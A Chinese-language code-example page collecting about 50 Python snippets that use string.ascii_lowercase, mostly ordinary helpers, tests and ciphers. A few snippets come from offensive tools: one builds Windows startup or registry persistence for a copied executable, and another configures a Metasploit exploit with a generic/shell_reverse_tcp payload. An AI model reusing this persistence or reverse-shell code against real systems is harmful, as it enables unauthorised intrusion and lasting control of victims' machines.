我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用string.ascii_lowercase()。
def family_list(request): start_letter = request.GET.get('start_letter') if start_letter: first_letter = start_letter[0] else: first_letter = 'a' families = ProductFamily.objects \ .prefetch_related('group') \ .annotate(Count('file')) \ .order_by('name') if first_letter == '#': families = families.exclude(name__regex=r'^[A-Za-z]') else: families = families.filter(name__istartswith=first_letter) all_letters = '#' + string.ascii_lowercase context = {'families': families, 'first_letter': first_letter, 'all_letters': all_letters} return render(request, 'msdn/family_list.html', context)
def index(): if request.args.get('code'): unlock_code = request.args.get('code') # unlock, new password re = s.query(RecoveryEmail).filter(RecoveryEmail.password_code==unlock_code).one_or_none() if re: jid = re.jid re.password_code = None s.merge(re) s.commit() # set new password and send email email_address = re.email password = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(10)) p = subprocess.Popen(['/usr/bin/prosodyctl', 'passwd', jid], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) args = bytes("%s\n%s\n" % (password, password), encoding='utf8') p.communicate(args) sendMail(email_address, 'new password', password) content = render_template('success.html', message='password was sent') else: content = render_template('error.html', message='link invalid') else: content = render_template('index.html') return content
def __get_f(self, s): i = 0 t = '' l = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' while i < len(s): try: c1 = l.index(s[i]) c2 = l.index(s[i + 1]) t += chr(c1 << 2 & 255 | c2 >> 4) c3 = l.index(s[i + 2]) t += chr(c2 << 4 & 255 | c3 >> 2) c4 = l.index(s[i + 3]) t += chr(c3 << 6 & 255 | c4) i += 4 except: break return t
def test_wildcard_dns_record(self): global wildcard_dns_record ip_dic = {} genrandstr = lambda i: ''.join(random.choices(string.ascii_lowercase + string.digits, k=i)) tasks = [asyncio.ensure_future(self.resolver.query(genrandstr(20) + '.' + self.domain, 'A')) for _ in range(6)] reqs = asyncio.gather(*tasks) result = self.loop.run_until_complete(reqs) for r in result: if ip_dic.get(r.ip[0]): ip_dic[r.ip[0]] += 1 if ip_dic[r.ip[0]] > 3: wildcard_dns_record = r.ip[0] print(f'[*] Found wildcard dns record:{wildcard_dns_record}') return else: ip_dic[r.ip[0]] = 1
def __init__(self, serializer, readable=True): ''' Args: serialzer: underlying serializer that will get the calls forwarded. ''' # the underlying serializer self._serializer = serializer self.SILENCE_TOKEN = serializer.SILENCE_TOKEN # 'vowels' and 'consonants' (to be alternated if readable = true) self.readable = readable self.V = 'aeiouy' self.C = ''.join([i for i in string.ascii_lowercase if i not in self.V]) # a mapping of real words to scrambled words an back self.word_mapping = {} self.inv_word_mapping = {} self.logger = logging.getLogger(__name__)
def gen_pseudo_word(self, L=None): if not L: L = random.randint(1, 8) # generate one word that we hadn't used before while True: if self.readable: # alternating between vowels and consonants, sampled with repl. _choice, _range = random.choice, range(int(math.ceil(L / 2))) v = [_choice(self.V) for i in _range] c = [_choice(self.C) for i in _range] zipped = zip(v, c) if random.getrandbits(1) else zip(c, v) pseudo_word = ''.join([a for b in zipped for a in b])[:L] else: pseudo_word = ''.join(random.sample( string.ascii_lowercase, L)) if pseudo_word not in self.inv_word_mapping: return pseudo_word
def test_instancer_iterable(self): def micro1_question(self): return random.choice(string.ascii_lowercase + ' '), string.ascii_lowercase tasker = TaskGenerator(micro1_question) question, answer = tasker.get_task_instance() check_correct_answer = tasker.check_answer('a') check_normal_answer = tasker.check_answer(' ') check_wrong_answer = tasker.check_answer('/') self.assertTrue(check_correct_answer[1]) self.assertEqual(check_correct_answer[2], 1) self.assertFalse(check_normal_answer[1]) self.assertEqual(check_normal_answer[2], -1) self.assertFalse(check_wrong_answer[1]) self.assertEqual(check_wrong_answer[2], -1)
def test_instancer_function(self): def micro1_question(self): def micro1_reward(answer, question=''): if answer in string.ascii_lowercase: return True, 1 elif answer == ' ': return None, 0 else: return False, -1 return random.choice(string.ascii_lowercase + ' '), micro1_reward tasker = TaskGenerator(micro1_question) question, answer = tasker.get_task_instance() check_correct_answer = tasker.check_answer('a') check_normal_answer = tasker.check_answer(' ') check_wrong_answer = tasker.check_answer('/') self.assertTrue(check_correct_answer[1]) self.assertEqual(check_correct_answer[2], 1) self.assertFalse(check_normal_answer[1]) self.assertEqual(check_normal_answer[2], 0) self.assertFalse(check_wrong_answer[1]) self.assertEqual(check_wrong_answer[2], -1)
def get_task_generator(self): def micro14_question(self): alphabet = string.ascii_lowercase idx = random.randint(0, len(alphabet) - 2) question = 'after {} comes what:.'.format(alphabet[idx]) sentence = alphabet[idx + 1] sentence += '.' def micro14_feedback(is_correct, question): reaction = "good job" if is_correct else "wrong" if not is_correct: return reaction + '! ' + sentence else: return reaction + '! ' return question, [sentence], micro14_feedback return TaskGenerator(micro14_question, '', None, ';')
def convert_to_label_chars(s): """Turn the specified name and value into a valid Google label.""" # We want the results to be user-friendly, not just functional. # So we can't base-64 encode it. # * If upper-case: lower-case it # * If the char is not a standard letter or digit. make it a dash accepted_characters = string.ascii_lowercase + string.digits + '-' def label_char_transform(char): if char in accepted_characters: return char if char in string.ascii_uppercase: return char.lower() return '-' return ''.join(label_char_transform(c) for c in s)
def handle_name_action(args): allowed_name = r'[a-z][a-z0-9-]+$' if args.shortname[0] not in string.ascii_lowercase: print('"{}" does not start with an undercase letter'.format(args.shortname)) sys.exit() if not re.match(allowed_name, args.shortname): print('"{}" must consist only of undercase letters, numbers, and dashes'.format(args.shortname)) sys.exit() options = dict( username=raw_input('Username: '), password=getpass(), id=args.id, shortname=args.shortname, ) r = requests.post(HOST+'/api/name', data=options) rj = r.json() print(rj['message'])
def get_id_path(id): if '/' in id: username, id1 = id.split('/', 1) if not id1: raise DappledError("Invalid ID") elif id1[0] in string.ascii_lowercase: # shortname id publish_id = get_idmap(id) else: publish_id = id1 else: publish_id = id if publish_id is None: return None paths = glob(os.path.join(DAPPLED_PATH, 'nb', publish_id+'*')) if not paths: return None paths.sort(key=lambda x: int(x.split('.v')[1]), reverse=True) path = paths[0] return path
def generate_batch(self, chathistory, target): if len(chathistory) > 0: # Generate a random alphanumeric BATCH ID batch_id = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(BATCH_ID_SIZE)) # Place the BATCH start identifer to the beginning of the chathistory line = 'irc.znc.in BATCH +{} chathistory {}'.format(batch_id, target) self.send_chathistory(line) # Prepend the BATCH ID to each line from the chathistory for line in chathistory: #msg_id = uuid.uuid4() #line = '@batch={};draft/msgid={};{}'.format(batch_id, msg_id, line) line = '@batch={};{}'.format(batch_id, line) self.send_chathistory(line) # Place the BATCH end identifer to the beginning of the chathistory line = 'irc.znc.in BATCH -{}'.format(batch_id) self.send_chathistory(line) else: client = self.GetClient() self.send_error(client, 'ERR', 'NOT_FOUND') # Send the given line to the user
def start(encoded_sample): sample = base64.b64decode(encoded_sample) random_str = ''.join(random.choice(ascii_lowercase) for _ in range(10)) sample_fname = os.path.join(options['samples_folder'], random_str + '.exe') sample_file = open(sample_fname, 'wb') sample_file.write(sample) sample_file.close() print 'Launching sample' cmd = options['cmd'].split(' ') cmd.append(sample_fname) os.chdir('C:\\pin') p = Popen(cmd, stdout=PIPE, stderr=PIPE) sleep(options['timeout']) print 'Sending log' send_log() print 'Execution completed'
def generate(self): name=''.join(random.choice(string.ascii_lowercase) for _ in range(0,7))+".exe" if self.method=="registry": return textwrap.dedent(""" import sys, shutil, os.path if sys.platform=="win32": import pupwinutils.persistence path=os.path.join(os.path.expandvars("%TEMP%"), {}) shutil.copy(sys.executable, path) pupwinutils.persistence.add_registry_startup(path) """.format(name)) else: return textwrap.dedent(""" import sys, shutil, os.path if sys.platform=="win32": shutil.copy(sys.executable, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}")) """.format(name))
def safetychecks_deprecated(record: Union[Dict[Text, Dict], Iterable[Text]]) -> True: """ Checks the names being inserted using string formatting for suspicious characters. Prevents SQL injection attacks. Returns True or Exits the program. """ safe_chars = set(string.ascii_lowercase) safe_chars.update(['_']) try: fields_chars = set(''.join([field for field in record.keys()])) except AttributeError: fields_chars = set(list(record)) if fields_chars.issubset(safe_chars): return True else: print(fields_chars, record, '\n', 'Browser Database tables have suspicious characters in field names. Please examine them.', 'As a precaution against an SQL injection attack, only lowercase letters and underscore ' 'charaters are permitted in field names.', 'Program halted.', sep='\n') sys.exit()
def generate_input_sequence(self): ascii_list = [c for c in ascii_lowercase] digit_list = [c for c in digits] sample_char_seq = np.random.choice(ascii_list, self.seq_len, replace=False).tolist() sample_digit_seq = np.random.choice(digit_list, self.seq_len, replace=False).tolist() query_char = np.random.choice(sample_char_seq, 1).tolist()[0] query_result = sample_digit_seq[sample_char_seq.index(query_char)] output = [] for pair in zip(sample_char_seq, sample_digit_seq): output += list(pair) output += ['?'] * 2 output += [query_char] return (list(map(lambda x: self.vocab_dict[x], output)), [self.vocab_dict[query_result]])
def setUp(self): float_col = pd.Series(pd.np.random.randn(10)).append( pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20))) float_col_with_int_val = pd.Series( pd.np.random.randint(1, 100, 10)).append( pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20))) str_col = pd.Series([random.choice(string.ascii_lowercase) for _ in range(10)]).append( pd.Series([pd.np.NaN for _ in range(10)], index=range(10, 20))) int_col = pd.Series(pd.np.random.randint(1, 100, 20)) nan_col = pd.Series([pd.np.NaN for _ in range(20)]) self.dataframe = pd.DataFrame({'float_col': float_col, 'float_col_with_int_val': float_col_with_int_val, 'int_col': int_col, 'str_col': str_col, 'nan_col': nan_col})
def generate_tokens(mean, std_dev, num_tokens): tokens = {} cnt = 0 while cnt < num_tokens: length = int(round(random.normalvariate(mean, std_dev))) if length < 2: continue flag = True while flag: new_token = ''.join(random.choice(string.ascii_lowercase) for i in range(length)) if tokens.get(new_token) is None: tokens[new_token] = True flag = False cnt += 1 return list(tokens.keys())
def setUp(self): super(CompleterTest, self).setUp() # directories must end with os.sep for completer to # search inside the directory for possible completions if self.tempdir[-1] != os.sep: self.tempdir += os.sep self.paths = [] # create some files and directories in temp_dir for c in string.ascii_lowercase: path = os.path.join(self.tempdir, c) self.paths.append(path) if ord(c) % 2: os.mkdir(path) else: with open(path, 'w'): pass
def apply_shift(self, shift): ''' Applies the Caesar Cipher to self.message_text with the input shift. Creates a new string that is self.message_text shifted down the alphabet by some number of characters determined by the input shift shift (integer): the shift with which to encrypt the message. 0 <= shift < 26 Returns: the message text (string) in which every character is shifted down the alphabet by the input shift ''' letters_all = string.ascii_lowercase + string.ascii_uppercase shifted_txt = '' shift_dic = self.build_shift_dict(shift) for e in self.message_text: if e in letters_all: e = shift_dic[e] shifted_txt += e return shifted_txt
def CreateGraph(): B = nx.DiGraph(); f = open('input.txt') n = int(f.readline()) cost = [] for i in range(n): list1 = map(int, (f.readline()).split()) cost.append(list1) people = [] for i in range(n): people.append(i) job = [] for c in ascii_lowercase[:n]: job.append(c) B.add_nodes_from(people, bipartite=0) # Add the node attribute "bipartite" B.add_nodes_from(job, bipartite=1) for i in range(n) : for c in ascii_lowercase[:n] : if cost[i][ord(c)-97] > 0 : B.add_edge(i, c, length = cost[i][ord(c)-97]) return B,cost
def _setupExploit(self, exploit, msfport): self.log.debug('Setting up {}'.format(exploit)) rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) rand_port = random.randint(1000, 65535) #generate the command string to send to the virtual console cmd = "use exploit/{}\n".format(exploit) cmd += "set SRVPORT {}\n".format(msfport) cmd += "set URIPATH {}\n".format(rand_url) cmd += "set PAYLOAD generic/shell_reverse_tcp\n" cmd += "set LHOST {}\n".format(self.msfip) cmd += "set LPORT {}\n".format(rand_port) cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" self.msf.sendcommand(cmd) return rand_url
def randomString(len=16, prefix="TEST:"): """ Create a random string to be used to build data for tests """ if len > 500000: lis = list(string.ascii_lowercase) return ''.join(random.choice(lis) for _ in range(len)) rand = random.SystemRandom() charset = string.ascii_uppercase + string.digits random_string = prefix for _ in range(len): random_string += rand.choice(charset) return random_string
def run_analyze_upload_dockerscan(config: DockerAnalyzeUploadModel): assert isinstance(config, DockerAnalyzeUploadModel) # Sanitize the URL target = sanitize_url(config.registry) # Build remote file name remote_filename = config.remote_filename if not remote_filename: characters = string.ascii_lowercase + string.digits remote_filename = "".join(random.choice(characters) for x in range(random.randint(5, 20))) link, _ = upload_content_v2(target, remote_filename, config.local_file) return link
def _generate_case_table(case_mapping: str) -> Dict[int, str]: case_mapping = case_mapping.lower() if case_mapping not in ('ascii', 'rfc1459', 'strict-rfc1459'): # TODO log warning case_mapping = DEFAULT_CASE_MAPPING upper_str = string.ascii_uppercase lower_str = string.ascii_lowercase if case_mapping == 'rfc1459': upper_str += "[]\\^" lower_str += "{}|~" elif case_mapping == 'strict-rfc1459': upper_str += "[]\\" lower_str += "{}|" return str.maketrans(upper_str, lower_str)
def registerService(self, name): try: apikey = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) entity_type = settings.entity_type resource = settings.resouce cbroker = settings.cbroker header = {"Content-type": "application/json", "Fiware-Service": name, "Fiware-ServicePath": "/"} data = '{"services":[{"apikey":"%s","cbroker":"%s","entity_type":"%s","resource":"%s"}]}'%(apikey, cbroker, entity_type, resource) #raise Exception(data) self.requester.sendPostRequest(header, data, settings.service_api) return {"apikey":apikey, "entity_type": entity_type, "cbroker": cbroker, "resource": resource, "name":name} except: return False
def getchars(type, need_char=False): flag = str(type) chars = [] if type in pystrs.base_dic_type and not need_char: if flag == pystrs.base_dic_type[0]: chars = string.digits elif flag == pystrs.base_dic_type[1]: chars = string.ascii_lowercase elif flag == pystrs.base_dic_type[2]: chars = string.ascii_uppercase elif flag == pystrs.base_dic_type[3]: chars = string.printable[:36] elif flag == pystrs.base_dic_type[4]: chars = string.digits + string.ascii_uppercase elif flag == pystrs.base_dic_type[5]: chars = string.ascii_letters elif flag == pystrs.base_dic_type[6]: chars = string.printable[:62] return chars elif need_char: return type
def rot13a(text): """ My first solution: brute force """ # loop through the letters in the input string new_text = [] for c in text: # do upper and lower case separately if c in string.ascii_lowercase: o = ord(c) + 13 if o > z: o = a-1 + o-z elif c in string.ascii_uppercase: o = ord(c) + 13 if o > Z: o = A-1 + o-Z else: o = ord(c) new_text.append(chr(o)) return "".join(new_text)
def rot13b(text): """ A little smarter to use % to take care of the wrap-around And do a check on the ord value, rather than looking in string.ascii_lowercase """ # loop through the letters in teh input string new_text = [] for c in text: o = ord(c) # do upper and lower case separately if a <= o <= z: o = a + ((o - a + 13) % 26) elif A <= o <= Z: o = A + ((o - A + 13) % 26) new_text.append(chr(o)) return "".join(new_text) # Translation table for 1 byte string objects: # Faster if you build a translation table and use that # build a translation table:
def new(message: str): """ Creates a new migration file. """ files = _get_files() # build the message filename next_num = len(files) + 1 f_message = list(' '.join(message)[:32].lower().replace(" ", "_")) filename_message = ''.join(filter(lambda c: c in string.ascii_lowercase + "_", f_message)) f_name = "{:03d}_{}.py".format(next_num, filename_message) # format the template formatted_file = migration_template.format(revision=next_num, message=' '.join(message)) p = migrations_dir / "versions" / f_name p.write_text(formatted_file) click.secho("Created new migration file {}.".format(f_name))
def next_job_hash(size=8): """ Generates a job hash (default: 8 characters). :param size The amount of random characters to use for a job hash. Defaults to 8. :return Returns a job hash consisting of a static prefix, a timestamp representing the time when the method was invoked, and random characters. """ job_hash = 'peekaboo-run_analysis-' job_hash += '%s-' % datetime.now().strftime('%Y%m%dT%H%M%S') job_hash += ''.join( choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for _ in range(size) ) return job_hash
def randompass(): ''' Generate a long random password that comply to Linode requirements ''' # Linode API currently requires the following: # It must contain at least two of these four character classes: # lower case letters - upper case letters - numbers - punctuation # we play it safe :) import random import string # as of python 2.4, this reseeds the PRNG from urandom random.seed() lower = ''.join(random.choice(string.ascii_lowercase) for x in range(6)) upper = ''.join(random.choice(string.ascii_uppercase) for x in range(6)) number = ''.join(random.choice(string.digits) for x in range(6)) punct = ''.join(random.choice(string.punctuation) for x in range(6)) p = lower + upper + number + punct return ''.join(random.sample(p, len(p)))
def random_string( choose_from=None, length=8 ): """ Return a random sequence of characters Args: choose_from (Sequence): he set of eligible characters - by default the set is string.ascii_lowercase + string.digits length (int): the length of the sequence to be returned (in characters, default 8) Returns (string) """ choices = list(choose_from or (string.ascii_lowercase + string.digits)) return ''.join( random.choice(choices) for _ in range(length) )
def valid_filename(filename): allowed_chars = string.ascii_lowercase + string.digits + '.-_' return all(c in allowed_chars for c in filename) # checks if a given directory name matches naming requirements
def valid_dirname(dirname): allowed_chars = string.ascii_lowercase + string.digits + '-_' return all(c in allowed_chars for c in dirname)
def random_str(count=16, seed=ascii_uppercase + digits + ascii_lowercase): """ Generates a random string. This code is based on a great stackoverflow post here: http://stackoverflow.com/questions/2257441/\ random-string-generation-with-upper-case-\ letters-and-digits-in-python """ return ''.join(choice(seed) for _ in range(count))
def make_temp_dir(shell): path = "".join(random.choice(string.ascii_lowercase) for i in range(10)) full_path = join("/tmp", path) try: shell.run(["mkdir", full_path]) return full_path except api.common.WebException as e: return None
def _check_username(username): return all([c in string.digits + string.ascii_lowercase for c in username.lower()])
def scan(target): server="http://127.0.0.1:5000" print("target is "+target) # scan server rand = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) print("random value is "+rand) process = subprocess.Popen(["nmap","-oA","data/nweb."+rand,"-A","-open",target],stdout=subprocess.PIPE) try: out, err = process.communicate(timeout=360) # 6 minutes except: try: print("killing slacker process") process.kill() except: print("okay, seems like it was already dead") print("scan complete, nice") result={} for ext in 'nmap','gnmap','xml': result[ext+"_data"]=open("data/nweb."+rand+"."+ext).read() os.remove("data/nweb."+rand+"."+ext) print("sending and deleting nweb."+rand+"."+ext) if len(result['nmap_data']) < 250: print("this data looks crappy") return else: print("size was "+str(len(result['nmap_data']))) # submit result response=requests.post(server+"/submit",json=json.dumps(result)).text print("response is:\n"+response)
def _cleanId(prop): translation = 48*"_"+_string.digits+7*"_"+_string.ascii_uppercase+6*"_"+_string.ascii_lowercase+133*"_" prop_id = prop.get_name() if prop_id is None: prop_id = prop.get_id() return str(prop_id).translate(translation)
def namer(): for length in count(1): for name in product(ascii_lowercase, repeat=length): yield ''.join(name)
def test_str(): pformat_ = PrettyFormat(width=12) v = pformat_(string.ascii_lowercase + '\n' + string.digits) assert v == ( "(\n" " 'abcdefghijklmnopqrstuvwxyz\\n'\n" " '0123456789'\n" ")")
def test_str_repr(): pformat_ = PrettyFormat(repr_strings=True) v = pformat_(string.ascii_lowercase + '\n' + string.digits) assert v == "'abcdefghijklmnopqrstuvwxyz\\n0123456789'"
def test_bytes(): pformat_ = PrettyFormat(width=12) v = pformat_(string.ascii_lowercase.encode()) assert v == """( b'abcde' b'fghij' b'klmno' b'pqrst' b'uvwxy' b'z' )"""
def test_short_bytes(): assert "b'abcdefghijklmnopqrstuvwxyz'" == pformat(string.ascii_lowercase.encode())
def passwd_generator(size=25): chars=string.ascii_uppercase + string.ascii_lowercase + string.digits return ''.join(random.choice(chars) for x in range(size,size+size))
def request_password(): jid = request.form.get('jid') re = s.query(RecoveryEmail).filter(RecoveryEmail.jid==jid, RecoveryEmail.confirmed==True).one_or_none() if re: password_code = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(64)) re.password_code = password_code s.merge(re) s.commit() password_code_link = 'https://www.pimux.de/password/?code=%s' % password_code sendMail(re.email, 'password reset request', 'click here: %s' % password_code_link) content = render_template('success.html', message='link was sent') else: content = render_template('error.html', message='user not found') return content
def __caesar(self, plaintext, shift): lower = string.ascii_lowercase lower_trans = lower[shift:] + lower[:shift] alphabet = lower + lower.upper() shifted = lower_trans + lower_trans.upper() return plaintext.translate(string.maketrans(alphabet, shifted))